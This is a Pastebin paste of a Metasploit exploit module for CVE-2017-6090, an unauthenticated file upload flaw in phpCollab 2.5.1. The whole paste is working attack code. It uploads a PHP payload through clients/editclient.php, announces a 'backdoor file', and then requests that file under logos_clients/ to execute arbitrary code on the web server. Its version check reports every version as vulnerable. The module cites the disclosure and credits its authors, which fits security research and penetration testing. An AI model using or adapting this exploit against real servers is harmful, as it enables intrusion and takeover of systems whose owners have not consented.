Advertisement
Guest User

Untitled

a guest
Jan 21st, 2018
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.19 KB | None | 0 0
  1. class MetasploitModule < Msf::Exploit::Remote
  2. Rank = ExcellentRanking
  3.  
  4. include Msf::Exploit::Remote::HttpClient
  5. include Msf::Exploit::FileDropper
  6.  
  7. def initialize(info = {})
  8. super(update_info(info,
  9. 'Name' => 'phpCollab 2.5.1 Unauthenticated File Upload',
  10. 'Description' => %q{
  11. This module exploits a file upload vulnerability in phpCollab 2.5.1
  12. which could be abused to allow unauthenticated users to execute arbitrary code
  13. under the context of the web server user.
  14.  
  15. The exploit has been tested on Ubuntu 16.04.3 64-bit
  16. },
  17. 'Author' =>
  18. [
  19. 'Nicolas SERRA <n.serra[at]sysdream.com>', # Vulnerability discovery
  20. 'Nick Marcoccio "1oopho1e" <iremembermodems[at]gmail.com>', # Metasploit module
  21. ],
  22. 'License' => MSF_LICENSE,
  23. 'References' =>
  24. [
  25. [ 'CVE', '2017-6090' ],
  26. [ 'EDB', '42934' ],
  27. [ 'URL', 'http://www.phpcollab.com/' ],
  28. [ 'URL', 'https://sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/' ]
  29. ],
  30. 'Privileged' => false,
  31. 'Platform' => ['php'],
  32. 'Arch' => ARCH_PHP,
  33. 'Targets' => [ ['Automatic', {}] ],
  34. 'DefaultTarget' => 0,
  35. 'DisclosureDate' => 'Sep 29 2017'
  36. ))
  37.  
  38. register_options(
  39. [
  40. OptString.new('TARGETURI', [ true, "Installed path of phpCollab ", "/phpcollab/"])
  41. ])
  42. end
  43.  
  44. def check
  45. url = normalize_uri(target_uri.path, "general/login.php?msg=logout")
  46. res = send_request_cgi(
  47. 'method' => 'GET',
  48. 'uri' => url
  49. )
  50.  
  51. version = res.body.scan(/PhpCollab v([\d\.]+)/).flatten.first
  52. vprint_status("Found version: #{version}")
  53.  
  54. unless version
  55. vprint_status('Unable to get the PhpCollab version.')
  56. return CheckCode::Unknown
  57. end
  58.  
  59. if Gem::Version.new(version) >= Gem::Version.new('0')
  60. return CheckCode::Appears
  61. end
  62.  
  63. CheckCode::Safe
  64. end
  65.  
  66. def exploit
  67. filename = '1.' + rand_text_alpha(8 + rand(4)) + '.php'
  68. id = File.basename(filename,File.extname(filename))
  69. register_file_for_cleanup(filename)
  70.  
  71. data = Rex::MIME::Message.new
  72. data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload\"; filename=\"#{filename}\"")
  73.  
  74. print_status("Uploading backdoor file: #{filename}")
  75.  
  76. res = send_request_cgi({
  77. 'method' => 'POST',
  78. 'uri' => normalize_uri(target_uri.path, 'clients/editclient.php'),
  79. 'vars_get' => {
  80. 'id' => id,
  81. 'action' => 'update'
  82. },
  83. 'ctype' => "multipart/form-data; boundary=#{data.bound}",
  84. 'data' => data.to_s
  85. })
  86.  
  87. if res && res.code == 302
  88. print_good("Backdoor successfully created.")
  89. else
  90. fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
  91. end
  92.  
  93. print_status("Triggering the exploit...")
  94. send_request_cgi({
  95. 'method' => 'GET',
  96. 'uri' => normalize_uri(target_uri.path, "logos_clients/" + filename)
  97. }, 5)
  98. end
  99. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement